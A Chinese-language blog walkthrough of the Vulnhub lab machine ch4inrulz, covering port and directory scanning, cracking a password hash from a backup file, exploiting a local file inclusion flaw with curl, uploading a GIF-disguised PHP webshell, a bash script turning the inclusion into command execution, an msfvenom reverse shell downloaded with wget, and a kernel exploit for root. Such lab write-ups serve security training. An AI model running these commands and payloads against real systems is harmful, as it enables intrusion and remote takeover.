Still Shines.

Vulnhub渗透笔记之ch4inrulz:1.0.1

Word count: 1.7k / Reading time: 7 min
2018/10/05 Share

题目背景:



Frank有一个网站,他是一个具有正常安全背景的聪明的开发人员;他总喜欢遵循模式。我们的目标就是发现任何关键的漏洞并获得对系统的访问权限。最终需要获得root权限及flag。

信息收集

使用netdiscover发现靶机ip地址为:192.168.1.133:

使用nmap对ip进行扫描:

nmap -p- 192.168.1.133

看到靶机开启了21,22,80和8011端口。现试了ftp登录,但是没有找到有用的东西。

网站渗透

再访问80端口,可以看到是frank的网站。

浏览网站之后,也没有发现什么线索。

使用dirb扫描网站路径:

一个个路径尝试之后,看到以下路径需要登录用户名和密码,这可能是网站的开发路径:

再其他地方也没有任何发现了,rotbots.txt里面也没有东西。试着用nikto扫描网站:

nikto -h http://192.168.1.133

其中有一条信息引起了我的注意:

Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for ‘index’ were found: index.html, index.html.bak

它解释了漏洞的原理,并且发现存在网站备份文件,我们直接输入url,弹出下载框:

cat查看备份文件发现里面存在用户名和密码,但是是经过加密的。

这里把这行哈希存入一个txt文件中,并用john破解,得到明文为frank!!!:

再来到那个路径,输入用户名和密码:

作者说有一个上传工具,我们始终在路径后面输入uploader,就来到了上传工具的页面:

我们想着是否能上传一个webshell,但这里只能上传图片,gif这类文件,而且上传之后,并不知道路径在哪里。那先不急,再找找其他的信息。

本地文件包含

再看看8011端口,看到这是运行网站开发的服务:

使用dirb扫描一下路径:

dirb http://192.168.1.133:8011

在其中看到一个api路径,打开后显示如下:

上面的4个页面都尝试打开后发现,只有files_api.php才存在,并且提示输入文件名:

猜测这里可能存在LFI(本地文件包含)漏洞,尝试/etc/password/能不能打开:

页面显示,我们url提交的请求并不能访问,那使用POST请求提交呢,输入如下指令:

curl -X POST -d “file=/etc/passwd”
http://192.168.1.133:8011/api/files_api.php

成功返回内容,说明存在漏洞。curl中的-d选项是-data的缩写,并在-d,in之后发送带有效负载的POST请求。

再尝试把上传文件页面的源码显示出来,这里先访问刚才的files_api.php文件:

curl -X POST -d “file=php:/var/www/development/upload.php”
http://192.168.1.133:8011/api/files_api.php

然后输入一下指令,让其以base64的形式返回源码:

curl -X POST -d
“file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php” http://192.168.1.133:8011/api/files_api.php

我们再把base64放到网站上解码:

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>

可以在第二行上看到我们上传后的文件,保存在了一个叫FRANKuploads的路径上。源码上显示它使用getimagesize函数来检查文件是否为图像。但是它不是一个全面的检查。php官方文档上也说不应该用它来检查文件是否是图像。

那现在编写一个简短的webshell,并给他gif的标记有,使服务器认为它是gif文件。

上传之后显示如下:

我们已经知道路径了,直接访问可以看到上传的文件:

获得webshell

webshell已经上传,但是打开它并没有什么用:

使用curl提交请求也没什么效果:

curl -u ‘frank:frank!!!’
http://192.168.1.133/development/uploader/FRANKuploads/cmd.php.gif?cmd=id

这里我们可以再次利用之前的本地文件包含漏洞:在8011端口的/api/files_api.php!编写一个漏洞利用脚本cmd.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

HOST=192.168.1.133
API=api/files_api.php
PORT=8011
FILE=/var/www/development/uploader/FRANKuploads/cmd.php.gif
CMD=$(echo -n "$1" \
| xxd -p \
| tr -d '\n' \
| sed -r 's/(..)/%\1/g')

curl -s -d "file=$FILE" "http://$HOST:$PORT/$API/?cmd=$CMD" \
| sed -e '6,$!d' -e '$d' \
| sed 1d

这个脚本简化了我们的输入,直接输入系统指令,就可以帮助我们查询:

提权

但是能够执行的指令并不能帮助我们继续提权,受到的限制很多,我们可以再上传一个反弹shell,使用nc建立连接,shell创建如下:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.136 LPORT=4444 -f elf -o rev

我们再本地用python开启一个http服务:

然后输入如下命令:让靶机下载这个shell到/tmp目录下:

./cmd.sh “wget -O /tmp/rev 192.168.1.133/rev”

可以看到,有我们的靶机访问了我们的80端口:

然后查看靶机上的文件:

给我们的反弹shell权限:

本地开启监听:

运行shell文件:

可看到连接建立成功:

查看系统版本:

系统版本是linux 2.6.35,我们使用searchsploit查询对应版本的exploit:

searchsploit linux2.6.3 | grep local

我们找到一个匹配的explot,是15285.c,我们把他复制出来:

此时我们python的web服务并没有关闭,使用wget下载到靶机的tmp目录上:

改变权限并执行,但是发现出现了错误:

这是靶机上gcc编译出错,在网上找到了解决方法:

find / -type f -name cc1 2>/dev/null

export PATH=/usr/lib/gcc/x86_64-linux-gnu/4.6/:$PATH

继续编译:

gcc 15285.c -o shell

编译成功,执行程序:

此时的我们提权成功,获得了root权限,并在root文件中找到了flag:

CATALOG
  1. 1. 题目背景:
  2. 2. 信息收集
  3. 3. 网站渗透
  4. 4. 本地文件包含
  5. 5. 获得webshell
  6. 6. 提权